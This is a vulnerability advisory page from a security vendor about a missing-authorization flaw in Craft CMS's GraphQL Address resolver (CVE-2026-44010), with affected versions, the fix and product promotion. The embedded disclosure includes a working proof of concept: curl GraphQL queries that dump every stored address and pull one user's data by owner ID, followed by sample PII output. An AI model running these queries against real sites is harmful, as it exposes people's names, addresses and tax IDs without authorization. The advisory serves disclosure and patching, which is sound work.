How severe is GHSA-gj2p-p9m4-c8gw?

No CVSS score has been assigned to GHSA-gj2p-p9m4-c8gw yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-gj2p-p9m4-c8gw?

GHSA-gj2p-p9m4-c8gw affects the following packages: craftcms/cms (Packagist), craftcms/cms (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-gj2p-p9m4-c8gw?

Update craftcms/cms to 5.9.18 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gj2p-p9m4-c8gw is resolved across your whole dependency graph.

How do I detect GHSA-gj2p-p9m4-c8gw in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-gj2p-p9m4-c8gw if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-gj2p-p9m4-c8gw?

O3 pinpoints whether GHSA-gj2p-p9m4-c8gw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-gj2p-p9m4-c8gw actively exploited in the wild?

No public exploit code has been indexed for GHSA-gj2p-p9m4-c8gw yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-gj2p-p9m4-c8gw published, and has it been updated?

GHSA-gj2p-p9m4-c8gw was published on May 6, 2026 and was last updated on May 13, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

GHSA-gj2p-p9m4-c8gw

Fix: craftcms/cms@834b2cf

GHSA-gj2p-p9m4-c8gw is a security vulnerability in craftcms/cms. O3 Security confirms whether GHSA-gj2p-p9m4-c8gw is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Craft CMS's Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure

Also known asCVE-2026-44010

Published

May 6, 2026

Updated

May 13, 2026

Affected

2 pkgs

Patched

2 / 2

Exploits

None indexed

Real-World Exposure

2 pkgs affected

🐘craftcms/cms🐘craftcms/cms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc.

Details

Every GraphQL element resolver in Craft CMS applies schema scope filtering via GqlHelper::extractAllowedEntitiesFromSchema() when handling top-level queries, except the Address resolver.

The only gate check for addresses is canQueryUsers() (src/gql/queries/Address.php, line 30), which is a binary check. It returns true if the token has access to any user group. Once past this gate, no further filtering is applied.

PoC

Tested on: CraftCMS 5.9.17 (fresh Docker install, PHP 8.3) Prerequisites: A GraphQL API token with read access to any single user group

Environment

Two user groups: publicUsers (in token scope) and internalTeam (NOT in scope)
5 internal executives with corporate addresses (internalTeam)
3 public customers with personal addresses (publicUsers)
GQL token scoped to publicUsers:read only

Step 1: Introspect the schema to discover the addresses query is available to this token. Issue the below curl command

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"Query\") { fields { name description } } }"}' http://localhost:8080/actions/graphql/api | jq

The token can see addresses, entries, users as top-level queries.

Step 2: Enumerate Address fields to identify PII exposure surface.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"AddressInterface\") { fields { name
type { name } } } }"}' http://localhost:8080/actions/graphql/api | jq

Exposed fields include: fullName, firstName, lastName, addressLine1/2/3, locality, postalCode, countryCode, organization, organizationTaxId, latitude, longitude.

Step 3: Establish baseline - confirm the token’s user scope is limited. This proves our token only has access to the publicUsers group.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

Only 5 public users returned. Scope enforcement works correctly for the User resolver — internal executives are NOT visible.

Step 4: Query all addresses - the token returns data for ALL user groups, including those outside its authorized scope.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

▎ "This token can only see 5 users, but it returns 10 addresses" as shown in the above 2 screenshot outputs

All 10 addresses returned. The same token that only sees 5 public users now returns addresses for internal executives including corporate tax IDs:

Sarah Chen, 4200 Executive Plaza Dr, SF — Horizon Dynamics Inc. (TaxID: 82-4917263)

James Whitfield, 89 Kensington High St, London — Whitfield Capital Partners LLP (TaxID: GB927461038)

Maria Rossi, 15 Via della Conciliazione, Roma — Rossi & Bianchi Avvocati (TaxID: IT04829173651)

David Nakamura, 2-11-3 Meguro, Tokyo — Nakamura Medical Technologies KK (TaxID: JP8230-4719-2835)

Elena Voronova, 27 Universitätsstrasse, Zurich — Voronova Biotech AG (TaxID: CHE-384.291.057)

Step 5: Targeted IDOR - extract a specific internal user’s address by owner ID.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses(ownerId: [3]) { fullName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

Directly extracts a specific internal team member’s address: “Secret Admin”, 1 Secret Government Facility, Suite 007, Langley 22101 — SecretCorp LLC (TaxID: 98-7654321). The token has zero authorization to access this user’s data.

Impact

Who is Impacted

Any Craft CMS Pro site (v4.0.0+) that uses GraphQL API tokens with user group scoping and stores user addresses. This is the standard deployment pattern for headless CMS sites using frameworks such as Next.js, Nuxt.js, or Gatsby. An attacker with any valid GraphQL token that has access to at least one user group can extract all addresses in the system, regardless of scope restrictions.

Risk

Direct threat to installation data: Any GraphQL API token with access to any single user group can extract all address systems-wide, including names, home addresses, organizations, and tax IDs belonging to users in restricted groups.
Targeted extraction via IDOR: The ownerId argument allows an attacker to extract specific users’ addresses by ID, enabling targeted reconnaissance against administrators or high-value users without any brute-force or elevated access.
Scope boundary failure: Craft CMS’s GraphQL schema scoping system is the primary security mechanism for controlling API access. Every other element resolver (Entry, User, Asset, Category, Tag) enforces this boundary. The Address resolver does not, making this a foundational gap in Craft’s native authorization model and not a site-specific configuration issue.
Affects all installations using GraphQL with user groups: Any Craft CMS Pro site that exposes a scoped GraphQL token and stores addresses is affected. This is the standard headless CMS deployment pattern, not an edge case.

AI Disclosure

This vulnerability was identified through manual source code review with AI-assisted analysis (Claude). The initial pattern deviation (Address resolver missing scope filtering while all other resolvers have it) was identified through manual comparison of resolver implementations. AI was used to assist with code navigation, PoC scripting, and report drafting.

All findings were verified against a local Docker instance of Craft CMS 5.9.17.

Resources

https://github.com/craftcms/cms/commit/834b2cf61ad0dcee9b03add44ed402ebf18db128

Affected Packages

2 total 2 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`craftcms/cms`	≥ 5.0.0&&< 5.9.18	5.9.18
🐘Packagist	`craftcms/cms`	≥ 4.0.0&&< 4.17.12	4.17.12

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update craftcms/cms to 5.9.18 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gj2p-p9m4-c8gw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gj2p-p9m4-c8gw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-gj2p-p9m4-c8gw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc. ### Details Every GraphQL element resolver in Craft CMS applies schema scope filtering via `GqlHelper::extractAllowedEntitiesFromSchema()` when handling top-level queries, excep

O3 Security · Impact-Aware SCA

Is GHSA-gj2p-p9m4-c8gw in your dependencies?

O3 detects GHSA-gj2p-p9m4-c8gw across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works